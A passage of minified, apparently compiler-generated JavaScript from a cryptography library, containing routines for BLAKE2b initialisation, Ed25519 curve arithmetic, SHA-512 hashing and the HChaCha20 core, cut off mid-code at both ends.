>>0?A+1|0:A,p=o,i=h,I=A=(o=(67108863&A)<<6|o>>>26)+N|0,h=(67108863&(i=A>>>0>>0?i+1|0:i))<<6|A>>>26,A=f,l=(67108863&d)+((A=g((67108863&((o=h+S|0)>>>0>>0?A+1:A))<<6|o>>>26,5)+(67108863&l)|0)>>>26|0)|0,d=67108863&p,p=67108863&I,I=67108863&o,f=67108863&A,e=e+16|0,!(n=n-(r>>>0<16)|0)&(r=r-16|0)>>>0>15|n;);a[t+20>>2]=f,a[t+36>>2]=I,a[t+32>>2]=p,a[t+28>>2]=d,a[t+24>>2]=l}function F(t,e,r,n){t|=0,e|=0;var A=0;return A=-1,(n|=0)-65>>>0<4294967232|(r|=0)>>>0>64||(r&&e?(I=A=I-128|0,!e|((n&=255)-65&255)>>>0<=191|((r&=255)-65&255)>>>0<=191?(Kt(),i()):(xt(t- -64|0,0,293),s[t+56|0]=121,s[t+57|0]=33,s[t+58|0]=126,s[t+59|0]=19,s[t+60|0]=25,s[t+61|0]=205,s[t+62|0]=224,s[t+63|0]=91,s[t+48|0]=107,s[t+49|0]=189,s[t+50|0]=65,s[t+51|0]=251,s[t+52|0]=171,s[t+53|0]=217,s[t+54|0]=131,s[t+55|0]=31,s[t+40|0]=31,s[t+41|0]=108,s[t+42|0]=62,s[t+43|0]=43,s[t+44|0]=140,s[t+45|0]=104,s[t+46|0]=5,s[t+47|0]=155,s[t+32|0]=209,s[t+33|0]=130,s[t+34|0]=230,s[t+35|0]=173,s[t+36|0]=127,s[t+37|0]=82,s[t+38|0]=14,s[t+39|0]=81,s[t+24|0]=241,s[t+25|0]=54,s[t+26|0]=29,s[t+27|0]=95,s[t+28|0]=58,s[t+29|0]=245,s[t+30|0]=79,s[t+31|0]=165,s[t+16|0]=43,s[t+17|0]=248,s[t+18|0]=148,s[t+19|0]=254,s[t+20|0]=114,s[t+21|0]=243,s[t+22|0]=110,s[t+23|0]=60,s[t+8|0]=59,s[t+9|0]=167,s[t+10|0]=202,s[t+11|0]=132,s[t+12|0]=133,s[t+13|0]=174,s[t+14|0]=103,s[t+15|0]=187,n=-222443256^(r<<8|n),s[0|t]=n,s[t+1|0]=n>>>8,s[t+2|0]=n>>>16,s[t+3|0]=n>>>24,n=r>>>24^1779033703,s[t+4|0]=n,s[t+5|0]=n>>>8,s[t+6|0]=n>>>16,s[t+7|0]=n>>>24,xt(r+A|0,0,r<<24>>24>=0?128-r|0:0),r=Mt(A,e,r),Mt(t+96|0,r,128),e=128+(c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24)|0,s[t+352|0]=e,s[t+353|0]=e>>>8,s[t+354|0]=e>>>16,s[t+355|0]=e>>>24,oe(r,128),I=r+128|0)):(((e=255&n)-65&255)>>>0<=191&&(Kt(),i()),xt(t- -64|0,0,293),s[t+56|0]=121,s[t+57|0]=33,s[t+58|0]=126,s[t+59|0]=19,s[t+60|0]=25,s[t+61|0]=205,s[t+62|0]=224,s[t+63|0]=91,s[t+48|0]=107,s[t+49|0]=189,s[t+50|0]=65,s[t+51|0]=251,s[t+52|0]=171,s[t+53|0]=217,s[t+54|0]=131,s[t+55|0]=31,s[t+40|0]=31,s[t+41|0]=108,s[t+42|0]=62,s[t+43|0]=43,s[t+44|0]=140,s[t+45|0]=104,s[t+46|0]=5,s[t+47|0]=155,s[t+32|0]=209,s[t+33|0]=130,s[t+34|0]=230,s[t+35|0]=173,s[t+36|0]=127,s[t+37|0]=82,s[t+38|0]=14,s[t+39|0]=81,s[t+24|0]=241,s[t+25|0]=54,s[t+26|0]=29,s[t+27|0]=95,s[t+28|0]=58,s[t+29|0]=245,s[t+30|0]=79,s[t+31|0]=165,s[t+16|0]=43,s[t+17|0]=248,s[t+18|0]=148,s[t+19|0]=254,s[t+20|0]=114,s[t+21|0]=243,s[t+22|0]=110,s[t+23|0]=60,s[t+8|0]=59,s[t+9|0]=167,s[t+10|0]=202,s[t+11|0]=132,s[t+12|0]=133,s[t+13|0]=174,s[t+14|0]=103,s[t+15|0]=187,e^=-222443256,s[0|t]=e,s[t+1|0]=e>>>8,s[t+2|0]=e>>>16,s[t+3|0]=e>>>24,s[t+4|0]=103,s[t+5|0]=230,s[t+6|0]=9,s[t+7|0]=106),A=0),0|A}function P(t,e,r){var n,A,i,o,s,c,h,g,u,l,f,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0;p=a[e+40>>2],d=a[e+4>>2],y=a[e+44>>2],C=a[e+8>>2],m=a[e+48>>2],B=a[e+12>>2],E=a[e+52>>2],w=a[e+16>>2],_=a[e+56>>2],Q=a[e+20>>2],b=a[e+60>>2],k=a[e+24>>2],D=a[(I=e- -64|0)>>2],S=a[e+28>>2],N=a[e+68>>2],M=a[e+32>>2],x=a[e+72>>2],F=a[e>>2],a[t+36>>2]=a[e+36>>2]+a[e+76>>2],a[t+32>>2]=M+x,a[t+28>>2]=S+N,a[t+24>>2]=k+D,a[t+20>>2]=Q+b,a[t+16>>2]=w+_,a[t+12>>2]=B+E,a[t+8>>2]=C+m,a[t+4>>2]=d+y,a[t>>2]=p+F,y=a[e+40>>2],p=a[e+4>>2],C=a[e+44>>2],m=a[e+8>>2],B=a[e+48>>2],E=a[e+12>>2],w=a[e+52>>2],_=a[e+16>>2],Q=a[e+56>>2],b=a[e+20>>2],k=a[e+60>>2],D=a[e+24>>2],I=a[I>>2],d=a[e+28>>2],S=a[e+68>>2],N=a[e+32>>2],M=a[e+72>>2],x=a[e>>2],a[t+76>>2]=a[e+76>>2]-a[e+36>>2],a[t+72>>2]=M-N,a[t+68>>2]=S-d,a[(d=t- -64|0)>>2]=I-D,a[t+60>>2]=k-b,a[t+56>>2]=Q-_,a[t+52>>2]=w-E,a[t+48>>2]=B-m,a[t+44>>2]=C-p,a[(p=t+40|0)>>2]=y-x,v(t+80|0,t,r),v(p,p,r+40|0),v(t+120|0,r+120|0,e+120|0),v(t,e+80|0,r+80|0),F=a[t+4>>2],i=a[t+8>>2],o=a[t+12>>2],s=a[t+16>>2],c=a[t+20>>2],h=a[t+24>>2],g=a[t+28>>2],u=a[t+32>>2],l=a[t+36>>2],e=a[p>>2],r=a[t+80>>2],y=a[t+44>>2],C=a[t+84>>2],m=a[t+48>>2],B=a[t+88>>2],E=a[t+52>>2],w=a[t+92>>2],_=a[t+56>>2],Q=a[t+96>>2],b=a[t+60>>2],k=a[t+100>>2],I=a[d>>2],D=a[t+104>>2],S=a[t+68>>2],N=a[t+108>>2],M=a[t+72>>2],x=a[t+112>>2],f=a[t>>2],n=a[t+76>>2],A=a[t+116>>2],a[t+76>>2]=n+A,a[t+72>>2]=M+x,a[t+68>>2]=S+N,a[d>>2]=I+D,a[t+60>>2]=b+k,a[t+56>>2]=_+Q,a[t+52>>2]=E+w,a[t+48>>2]=m+B,a[t+44>>2]=y+C,a[p>>2]=e+r,a[t+36>>2]=A-n,a[t+32>>2]=x-M,a[t+28>>2]=N-S,a[t+24>>2]=D-I,a[t+20>>2]=k-b,a[t+16>>2]=Q-_,a[t+12>>2]=w-E,a[t+8>>2]=B-m,a[t+4>>2]=C-y,a[t>>2]=r-e,e=l<<1,r=a[t+156>>2],a[t+156>>2]=e-r,p=u<<1,d=a[t+152>>2],a[t+152>>2]=p-d,y=g<<1,C=a[t+148>>2],a[t+148>>2]=y-C,m=h<<1,B=a[t+144>>2],a[t+144>>2]=m-B,E=c<<1,w=a[t+140>>2],a[t+140>>2]=E-w,_=s<<1,Q=a[t+136>>2],a[t+136>>2]=_-Q,b=o<<1,k=a[t+132>>2],a[t+132>>2]=b-k,I=i<<1,D=a[t+128>>2],a[t+128>>2]=I-D,S=F<<1,N=a[t+124>>2],a[t+124>>2]=S-N,M=f<<1,x=a[t+120>>2],a[t+120>>2]=M-x,a[t+112>>2]=p+d,a[t+108>>2]=y+C,a[t+104>>2]=m+B,a[t+100>>2]=E+w,a[t+96>>2]=_+Q,a[t+92>>2]=b+k,a[t+88>>2]=I+D,a[t+84>>2]=S+N,a[t+80>>2]=M+x,a[t+116>>2]=e+r}function T(t,e,r){var n,A,i,o,s,c,h,g,u,l,f,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0;p=a[e+40>>2],d=a[e+4>>2],y=a[e+44>>2],C=a[e+8>>2],m=a[e+48>>2],B=a[e+12>>2],E=a[e+52>>2],w=a[e+16>>2],_=a[e+56>>2],Q=a[e+20>>2],b=a[e+60>>2],k=a[e+24>>2],D=a[(I=e- -64|0)>>2],S=a[e+28>>2],N=a[e+68>>2],M=a[e+32>>2],x=a[e+72>>2],F=a[e>>2],a[t+36>>2]=a[e+36>>2]+a[e+76>>2],a[t+32>>2]=M+x,a[t+28>>2]=S+N,a[t+24>>2]=k+D,a[t+20>>2]=Q+b,a[t+16>>2]=w+_,a[t+12>>2]=B+E,a[t+8>>2]=C+m,a[t+4>>2]=d+y,a[t>>2]=p+F,y=a[e+40>>2],p=a[e+4>>2],C=a[e+44>>2],m=a[e+8>>2],B=a[e+48>>2],E=a[e+12>>2],w=a[e+52>>2],_=a[e+16>>2],Q=a[e+56>>2],b=a[e+20>>2],k=a[e+60>>2],D=a[e+24>>2],I=a[I>>2],d=a[e+28>>2],S=a[e+68>>2],N=a[e+32>>2],M=a[e+72>>2],x=a[e>>2],a[t+76>>2]=a[e+76>>2]-a[e+36>>2],a[t+72>>2]=M-N,a[t+68>>2]=S-d,a[(d=t- -64|0)>>2]=I-D,a[t+60>>2]=k-b,a[t+56>>2]=Q-_,a[t+52>>2]=w-E,a[t+48>>2]=B-m,a[t+44>>2]=C-p,a[(p=t+40|0)>>2]=y-x,v(t+80|0,t,r+40|0),v(p,p,r),v(t+120|0,r+120|0,e+120|0),v(t,e+80|0,r+80|0),F=a[t+4>>2],i=a[t+8>>2],o=a[t+12>>2],s=a[t+16>>2],c=a[t+20>>2],h=a[t+24>>2],g=a[t+28>>2],u=a[t+32>>2],l=a[t+36>>2],e=a[p>>2],r=a[t+80>>2],y=a[t+44>>2],C=a[t+84>>2],m=a[t+48>>2],B=a[t+88>>2],E=a[t+52>>2],w=a[t+92>>2],_=a[t+56>>2],Q=a[t+96>>2],b=a[t+60>>2],k=a[t+100>>2],I=a[d>>2],D=a[t+104>>2],S=a[t+68>>2],N=a[t+108>>2],M=a[t+72>>2],x=a[t+112>>2],f=a[t>>2],n=a[t+76>>2],A=a[t+116>>2],a[t+76>>2]=n+A,a[t+72>>2]=M+x,a[t+68>>2]=S+N,a[d>>2]=I+D,a[t+60>>2]=b+k,a[t+56>>2]=_+Q,a[t+52>>2]=E+w,a[t+48>>2]=m+B,a[t+44>>2]=y+C,a[p>>2]=e+r,a[t+36>>2]=A-n,a[t+32>>2]=x-M,a[t+28>>2]=N-S,a[t+24>>2]=D-I,a[t+20>>2]=k-b,a[t+16>>2]=Q-_,a[t+12>>2]=w-E,a[t+8>>2]=B-m,a[t+4>>2]=C-y,a[t>>2]=r-e,e=a[t+156>>2],r=l<<1,a[t+156>>2]=e+r,p=a[t+152>>2],d=u<<1,a[t+152>>2]=p+d,y=a[t+148>>2],C=g<<1,a[t+148>>2]=y+C,m=a[t+144>>2],B=h<<1,a[t+144>>2]=m+B,E=a[t+140>>2],w=c<<1,a[t+140>>2]=E+w,_=a[t+136>>2],Q=s<<1,a[t+136>>2]=_+Q,b=a[t+132>>2],k=o<<1,a[t+132>>2]=b+k,I=a[t+128>>2],D=i<<1,a[t+128>>2]=I+D,S=a[t+124>>2],N=F<<1,a[t+124>>2]=S+N,M=a[t+120>>2],x=f<<1,a[t+120>>2]=M+x,a[t+112>>2]=d-p,a[t+108>>2]=C-y,a[t+104>>2]=B-m,a[t+100>>2]=w-E,a[t+96>>2]=Q-_,a[t+92>>2]=k-b,a[t+88>>2]=D-I,a[t+84>>2]=N-S,a[t+80>>2]=x-M,a[t+116>>2]=r-e}function R(t,e,r){var n,A,i,o,s,c,h,g,u,l,f,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0;p=a[e+40>>2],d=a[e+4>>2],y=a[e+44>>2],C=a[e+8>>2],m=a[e+48>>2],B=a[e+12>>2],E=a[e+52>>2],w=a[e+16>>2],_=a[e+56>>2],Q=a[e+20>>2],b=a[e+60>>2],k=a[e+24>>2],D=a[(I=e- -64|0)>>2],S=a[e+28>>2],N=a[e+68>>2],M=a[e+32>>2],x=a[e+72>>2],F=a[e>>2],a[t+36>>2]=a[e+36>>2]+a[e+76>>2],a[t+32>>2]=M+x,a[t+28>>2]=S+N,a[t+24>>2]=k+D,a[t+20>>2]=Q+b,a[t+16>>2]=w+_,a[t+12>>2]=B+E,a[t+8>>2]=C+m,a[t+4>>2]=d+y,a[t>>2]=p+F,y=a[e+40>>2],p=a[e+4>>2],C=a[e+44>>2],m=a[e+8>>2],B=a[e+48>>2],E=a[e+12>>2],w=a[e+52>>2],_=a[e+16>>2],Q=a[e+56>>2],b=a[e+20>>2],k=a[e+60>>2],D=a[e+24>>2],I=a[I>>2],d=a[e+28>>2],S=a[e+68>>2],N=a[e+32>>2],M=a[e+72>>2],x=a[e>>2],a[t+76>>2]=a[e+76>>2]-a[e+36>>2],a[t+72>>2]=M-N,a[t+68>>2]=S-d,a[(d=t- -64|0)>>2]=I-D,a[t+60>>2]=k-b,a[t+56>>2]=Q-_,a[t+52>>2]=w-E,a[t+48>>2]=B-m,a[t+44>>2]=C-p,a[(p=t+40|0)>>2]=y-x,v(t+80|0,t,r),v(p,p,r+40|0),v(t+120|0,r+80|0,e+120|0),F=a[e+80>>2],i=a[e+84>>2],o=a[e+88>>2],s=a[e+92>>2],c=a[e+96>>2],h=a[e+100>>2],g=a[e+104>>2],u=a[e+108>>2],l=a[e+112>>2],f=a[e+116>>2],e=a[p>>2],r=a[t+80>>2],y=a[t+44>>2],C=a[t+84>>2],m=a[t+48>>2],B=a[t+88>>2],E=a[t+52>>2],w=a[t+92>>2],_=a[t+56>>2],Q=a[t+96>>2],b=a[t+60>>2],k=a[t+100>>2],I=a[d>>2],D=a[t+104>>2],S=a[t+68>>2],N=a[t+108>>2],M=a[t+72>>2],x=a[t+112>>2],n=a[t+76>>2],A=a[t+116>>2],a[t+76>>2]=n+A,a[t+72>>2]=M+x,a[t+68>>2]=S+N,a[d>>2]=I+D,a[t+60>>2]=b+k,a[t+56>>2]=_+Q,a[t+52>>2]=E+w,a[t+48>>2]=m+B,a[t+44>>2]=y+C,a[p>>2]=e+r,a[t+36>>2]=A-n,a[t+32>>2]=x-M,a[t+28>>2]=N-S,a[t+24>>2]=D-I,a[t+20>>2]=k-b,a[t+16>>2]=Q-_,a[t+12>>2]=w-E,a[t+8>>2]=B-m,a[t+4>>2]=C-y,a[t>>2]=r-e,e=f<<1,r=a[t+156>>2],a[t+156>>2]=e-r,p=l<<1,d=a[t+152>>2],a[t+152>>2]=p-d,y=u<<1,C=a[t+148>>2],a[t+148>>2]=y-C,m=g<<1,B=a[t+144>>2],a[t+144>>2]=m-B,E=h<<1,w=a[t+140>>2],a[t+140>>2]=E-w,_=c<<1,Q=a[t+136>>2],a[t+136>>2]=_-Q,b=s<<1,k=a[t+132>>2],a[t+132>>2]=b-k,I=o<<1,D=a[t+128>>2],a[t+128>>2]=I-D,S=i<<1,N=a[t+124>>2],a[t+124>>2]=S-N,M=F<<1,x=a[t+120>>2],a[t+120>>2]=M-x,a[t+112>>2]=p+d,a[t+108>>2]=y+C,a[t+104>>2]=m+B,a[t+100>>2]=E+w,a[t+96>>2]=_+Q,a[t+92>>2]=b+k,a[t+88>>2]=I+D,a[t+84>>2]=S+N,a[t+80>>2]=M+x,a[t+116>>2]=e+r}function U(t,e){var r,n,A,i,o,s,h,g,u,l,f,p,d,I,C=0,m=0,B=0,E=0,w=0,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0;d=c[e+31|0],r=c[e+30|0],n=c[e+29|0],A=c[e+6|0],i=c[e+5|0],o=c[e+4|0],s=c[e+9|0],h=c[e+8|0],g=c[e+7|0],u=c[e+12|0],D=c[e+11|0],S=c[e+10|0],l=c[e+15|0],N=c[e+14|0],f=c[e+13|0],_=c[e+28|0],k=c[e+27|0],Q=c[e+26|0],v=c[e+25|0],E=c[e+24|0],B=c[e+23|0],I=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24,w=(m=c[e+21|0])<<15,m=C=m>>>17|0,b=w,b|=(w=c[e+20|0])<<7,w=(C=w>>>25|0)|m,m=(C=c[e+22|0])>>>9|0,C=C<<23|b,m|=w,p=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24,e=0,w=C,C=(33554431&(e=(b=p+16777216|0)>>>0<16777216?1:e))<<7|b>>>25,e=(e>>>25|0)+m|0,C=(m=w=w+C|0)>>>0>>0?e+1|0:e,e=(w=m+33554432|0)>>>0<33554432?C+1|0:C,a[t+24>>2]=m-(-67108864&w),C=(m=B>>>27|0)|E>>>19|v>>>11,m=B=(E=v<<21|(B=E<<13|B<<5))+(m=(67108863&(m=e))<<6|w>>>26)|0,e=C,C=(B=E+16777216|0)>>>0<16777216?e+1|0:e,a[t+28>>2]=m-(1040187392&B),m=(C=(e=C)>>>25|0)+(m=k>>>20|Q>>>28|_>>>12)|0,e=m=(C=B=(e=(33554431&e)<<7|B>>>25)+(k<<12|Q<<4|_<<20)|0)>>>0>>0?m+1|0:m,B=(_=C+33554432|0)>>>0<33554432?e+1|0:e,a[t+32>>2]=C-(-67108864&_),m=u>>>13|(C=D>>>21|S>>>29),e=(m=(k=16777216+(D=D<<11|S<<3|u<<19)|0)>>>0<16777216?m+1|0:m)>>>25|0,m=(C=E=N<<10|f<<2|l<<18)+(E=(33554431&m)<<7|k>>>25)|0,C=e+(v=N>>>22|f>>>30|l>>>14)|0,e=C=m>>>0>>0?C+1|0:C,E=((67108863&(e=(E=m+33554432|0)>>>0<33554432?e+1|0:e))<<6|(C=E)>>>26)+(Q=p-(-33554432&b)|0)|0,a[t+20>>2]=E,a[t+16>>2]=m-(-67108864&C),C=i>>>18|o>>>26|A>>>10,m=(C=(Q=16777216+(S=i<<14|o<<6|A<<22)|0)>>>0<16777216?C+1|0:C)>>>25|0,C=(e=E=h<<13|g<<5|s<<21)+(E=(33554431&C)<<7|Q>>>25)|0,e=m+(v=h>>>19|g>>>27|s>>>11)|0,e=C>>>0>>0?e+1|0:e,m=(v=C+33554432|0)>>>0<33554432?e+1|0:e,a[t+8>>2]=C-(-67108864&v),_=(B=(67108863&B)<<6|_>>>26)+(N=d<<18&33292288|r<<10|n<<2)|0,e=C=r>>>22|n>>>30,C=(B=N+16777216|0)>>>0<16777216?e+1|0:e,a[t+36>>2]=_-(33554432&B),m=D+((67108863&m)<<6|v>>>26)|0,a[t+12>>2]=m-(234881024&k),E=S-(2113929216&Q)|0,m=Bt((33554431&(e=C))<<7|B>>>25,C=e>>>25|0,19,0),e=y,m=(C=m+I|0)>>>0>>0?e+1|0:e,B=((67108863&(m=(e=C+33554432|0)>>>0<33554432?m+1|0:m))<<6|e>>>26)+E|0,a[t+4>>2]=B,a[t>>2]=C-(-67108864&e)}function G(t,e,r,n){var A,i=0,o=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,y=0,C=0,m=0;if(I=A=I-704|0,r|n)if(i=(n<<3|r>>>29)+(o=h=a[t+76>>2])|0,u=(l=a[t+72>>2])+(g=r<<3)|0,a[t+72>>2]=u,i=g>>>0>u>>>0?i+1|0:i,a[t+76>>2]=i,h=a[4+(g=t- -64|0)>>2],h=(f=i=(0|i)==(0|o)&u>>>0>>0|i>>>0>>0)>>>0>(i=i+a[g>>2]|0)>>>0?h+1|0:h,u=(f=n>>>29|0)+i|0,i=h,a[g>>2]=u,a[g+4>>2]=u>>>0>>0?i+1|0:i,(0|n)==(0|(h=f=0-((i=0)+((g=127&((7&o)<<29|l>>>3))>>>0>128)|0)|0))&r>>>0>=(u=128-g|0)>>>0|n>>>0>h>>>0){if(o=0,h=0,!i&(127^g)>>>0>=3|i)for(m=252&u,l=t+80|0;s[(i=o+g|0)+l|0]=c[e+o|0],s[l+(g+(i=1|o)|0)|0]=c[e+i|0],s[l+(g+(i=2|o)|0)|0]=c[e+i|0],s[l+(g+(i=3|o)|0)|0]=c[e+i|0],i=h,h=(o=o+4|0)>>>0<4?i+1|0:i,i=d,d=i=(y=y+4|0)>>>0<4?i+1|0:i,(0|y)!=(0|m)|(0|C)!=(0|i););if(l=i=0,i|(d=3&u))for(;s[80+(t+(i=o+g|0)|0)|0]=c[e+o|0],i=h,h=(o=o+1|0)?i:i+1|0,i=C,C=i=(p=p+1|0)?i:i+1|0,(0|d)!=(0|p)|(0|l)!=(0|i););if(B(t,t+80|0,A,o=A+640|0),e=e+u|0,!(n=n-((r>>>0>>0)+f|0)|0)&(r=r-u|0)>>>0>127|n)for(;B(t,e,A,o),e=e+128|0,!(n=n-(r>>>0<128)|0)&(r=r-128|0)>>>0>127|n;);if(r|n){if(y=3&r,u=0,p=0,C=0,o=0,h=0,!n&r>>>0>=4|n)for(g=-4&r,l=n,d=t+80|0,r=0,n=0;s[o+d|0]=c[e+o|0],s[(i=1|o)+d|0]=c[e+i|0],s[(i=2|o)+d|0]=c[e+i|0],s[(i=3|o)+d|0]=c[e+i|0],i=h,h=(o=o+4|0)>>>0<4?i+1|0:i,i=n,n=i=(r=r+4|0)>>>0<4?i+1|0:i,(0|r)!=(0|g)|(0|l)!=(0|i););if(u|y)for(;s[80+(t+o|0)|0]=c[e+o|0],h=(o=o+1|0)?h:h+1|0,i=C,C=i=(p=p+1|0)?i:i+1|0,(0|p)!=(0|y)|(0|u)!=(0|i););}oe(A,704)}else{if(o=0,h=0,!n&r>>>0>=4|n)for(u=-4&r,l=n,n=t+80|0;s[n+(i=o+g|0)|0]=c[e+o|0],s[n+(f=g+(i=1|o)|0)|0]=c[e+i|0],s[n+(f=g+(i=2|o)|0)|0]=c[e+i|0],s[n+(f=g+(i=3|o)|0)|0]=c[e+i|0],i=h,h=(o=o+4|0)>>>0<4?i+1|0:i,i=d,d=i=(y=y+4|0)>>>0<4?i+1|0:i,(0|u)!=(0|y)|(0|l)!=(0|i););if((r&=3)|(n=0))for(;s[80+(t+(i=o+g|0)|0)|0]=c[e+o|0],h=(o=o+1|0)?h:h+1|0,i=C,C=i=(p=p+1|0)?i:i+1|0,(0|r)!=(0|p)|(0|n)!=(0|i););}return I=A+704|0,0}function H(t,e){var r,n,A,i,o=0,h=0,g=0,u=0,l=0,f=0;for(I=r=I-480|0;g=(h=r+288|0)+(o<<1)|0,u=c[e+o|0],s[g+1|0]=u>>>4,s[0|g]=15&u,h=h+((g=1|o)<<1)|0,g=c[e+g|0],s[h+1|0]=g>>>4,s[0|h]=15&g,32!=(0|(o=o+2|0)););for(e=0;o=8+(h=(o=e)+c[0|(e=(r+288|0)+l|0)]|0)|0,s[0|e]=h-(240&o),o=8+(h=c[e+1|0]+(o<<24>>24>>4)|0)|0,s[e+1|0]=h-(240&o),o=8+(h=c[e+2|0]+(o<<24>>24>>4)|0)|0,s[e+2|0]=h-(240&o),e=o<<24>>24>>4,63!=(0|(l=l+3|0)););for(s[r+351|0]=c[r+351|0]+e,a[t+32>>2]=0,a[t+36>>2]=0,a[t+24>>2]=0,a[t+28>>2]=0,a[t+16>>2]=0,a[t+20>>2]=0,a[t+8>>2]=0,a[t+12>>2]=0,a[t>>2]=0,a[t+4>>2]=0,a[t+44>>2]=0,a[t+48>>2]=0,a[(e=t+40|0)>>2]=1,a[t+52>>2]=0,a[t+56>>2]=0,a[t+60>>2]=0,a[t+64>>2]=0,a[t+68>>2]=0,a[t+72>>2]=0,a[t+76>>2]=0,a[t+80>>2]=1,xt(t+84|0,0,76),A=t+120|0,l=t+80|0,h=r+208|0,n=r+168|0,g=r+248|0,o=1;V(f=r+8|0,o>>>1|0,s[(r+288|0)+o|0]),R(u=r+128|0,t,f),v(t,u,g),v(e,n,h),v(l,h,g),v(A,u,n),f=o>>>0<62,o=o+2|0,f;);for(o=a[t+36>>2],a[r+392>>2]=a[t+32>>2],a[r+396>>2]=o,o=a[t+28>>2],a[r+384>>2]=a[t+24>>2],a[r+388>>2]=o,o=a[t+20>>2],a[r+376>>2]=a[t+16>>2],a[r+380>>2]=o,o=a[t+12>>2],a[r+368>>2]=a[t+8>>2],a[r+372>>2]=o,o=a[t+4>>2],a[r+360>>2]=a[t>>2],a[r+364>>2]=o,o=a[e+12>>2],a[r+408>>2]=a[e+8>>2],a[r+412>>2]=o,o=a[e+20>>2],a[r+416>>2]=a[e+16>>2],a[r+420>>2]=o,o=a[e+28>>2],a[r+424>>2]=a[e+24>>2],a[r+428>>2]=o,o=a[e+36>>2],a[r+432>>2]=a[e+32>>2],a[r+436>>2]=o,o=a[e+4>>2],a[r+400>>2]=a[e>>2],a[r+404>>2]=o,o=a[l+12>>2],a[r+448>>2]=a[l+8>>2],a[r+452>>2]=o,o=a[l+20>>2],a[r+456>>2]=a[l+16>>2],a[r+460>>2]=o,o=a[l+28>>2],a[r+464>>2]=a[l+24>>2],a[r+468>>2]=o,o=a[l+36>>2],a[r+472>>2]=a[l+32>>2],a[r+476>>2]=o,o=a[l+4>>2],a[r+440>>2]=a[l>>2],a[r+444>>2]=o,_(u,o=r+360|0),v(o,u,g),v(f=r+400|0,n,h),v(i=r+440|0,h,g),_(u,o),v(o,u,g),v(f,n,h),v(i,h,g),_(u,o),v(o,u,g),v(f,n,h),v(i,h,g),_(u,o),v(t,u,g),v(e,n,h),v(l,h,g),v(A,u,n),o=0;V(f=r+8|0,o>>>1|0,s[(r+288|0)+o|0]),R(u=r+128|0,t,f),v(t,u,g),v(e,n,h),v(l,h,g),v(A,u,n),u=o>>>0<62,o=o+2|0,u;);I=r+480|0}function L(t,e,r){var n=0,A=0,i=0,o=0,a=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0,v=0;for(A=2036477234,o=857760878,n=1634760805,h=1797285236,i=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,l=c[e+8|0]|c[e+9|0]<<8|c[e+10|0]<<16|c[e+11|0]<<24,a=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24,f=c[r+28|0]|c[r+29|0]<<8|c[r+30|0]<<16|c[r+31|0]<<24,g=c[r+24|0]|c[r+25|0]<<8|c[r+26|0]<<16|c[r+27|0]<<24,B=c[r+20|0]|c[r+21|0]<<8|c[r+22|0]<<16|c[r+23|0]<<24,p=c[r+16|0]|c[r+17|0]<<8|c[r+18|0]<<16|c[r+19|0]<<24,d=c[r+12|0]|c[r+13|0]<<8|c[r+14|0]<<16|c[r+15|0]<<24,I=c[r+8|0]|c[r+9|0]<<8|c[r+10|0]<<16|c[r+11|0]<<24,y=c[r+4|0]|c[r+5|0]<<8|c[r+6|0]<<16|c[r+7|0]<<24,e=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24,r=c[0|r]|c[r+1|0]<<8|c[r+2|0]<<16|c[r+3|0]<<24;u=r,r=Gt((C=e)^(e=r+n|0),16),u=p=Gt(u^(n=r+p|0),12),E=Gt((C=e+p|0)^r,8),e=Gt(u^(p=E+n|0),7),n=d,d=Gt((r=h+d|0)^i,16),n=Gt(n^(f=d+f|0),12),i=I,h=Gt((A=A+I|0)^l,16),i=Gt(i^(I=h+g|0),12),g=Gt((A=i+A|0)^h,8),r=Gt(g^(h=e+(m=r+n|0)|0),16),l=Gt((o=o+y|0)^a,16),y=Gt((a=l+B|0)^y,12),u=e,e=Gt((o=o+y|0)^l,8),u=Gt(u^(a=r+(w=e+a|0)|0),12),l=Gt(r^(h=u+h|0),8),r=Gt((B=l+a|0)^u,7),u=A,A=n,m=Gt(d^m,8),A=Gt(A^(n=m+f|0),7),d=Gt((a=u+A|0)^e,16),f=Gt((e=d+p|0)^A,12),a=Gt(d^(A=f+a|0),8),d=Gt((p=e+a|0)^f,7),e=Gt((e=i)^(i=g+I|0),7),I=Gt((o=e+o|0)^E,16),g=Gt(e^(n=I+n|0),12),e=Gt(I^(o=g+o|0),8),I=Gt((f=n+e|0)^g,7),u=i,n=Gt(y^w,7),g=Gt((i=n+C|0)^m,16),C=Gt(n^(y=u+g|0),12),i=Gt(g^(n=C+i|0),8),y=Gt((g=y+i|0)^C,7),10!=(0|(v=v+1|0)););s[0|t]=n,s[t+1|0]=n>>>8,s[t+2|0]=n>>>16,s[t+3|0]=n>>>24,s[t+28|0]=i,s[t+29|0]=i>>>8,s[t+30|0]=i>>>16,s[t+31|0]=i>>>24,s[t+24|0]=l,s[t+25|0]=l>>>8,s[t+26|0]=l>>>16,s[t+27|0]=l>>>24,s[t+20|0]=a,s[t+21|0]=a>>>8,s[t+22|0]=a>>>16,s[t+23|0]=a>>>24,s[t+16|0]=e,s[t+17|0]=e>>>8,s[t+18|0]=e>>>16,s[t+19|0]=e>>>24,s[t+12|0]=h,s[t+13|0]=h>>>8,s[t+14|0]=h>>>16,s[t+15|0]=h>>>24,s[t+8|0]=A,s[t+9|0]=A>>>8,s[t+10|0]=A>>>16,s[t+11|0]=A>>>24,s[t+4|0]=o,s[t+5|0]=o>>>8,s[t+6|0]=o>>>16,s[t+7|0]=o>>>24}function O(t,e,r){var 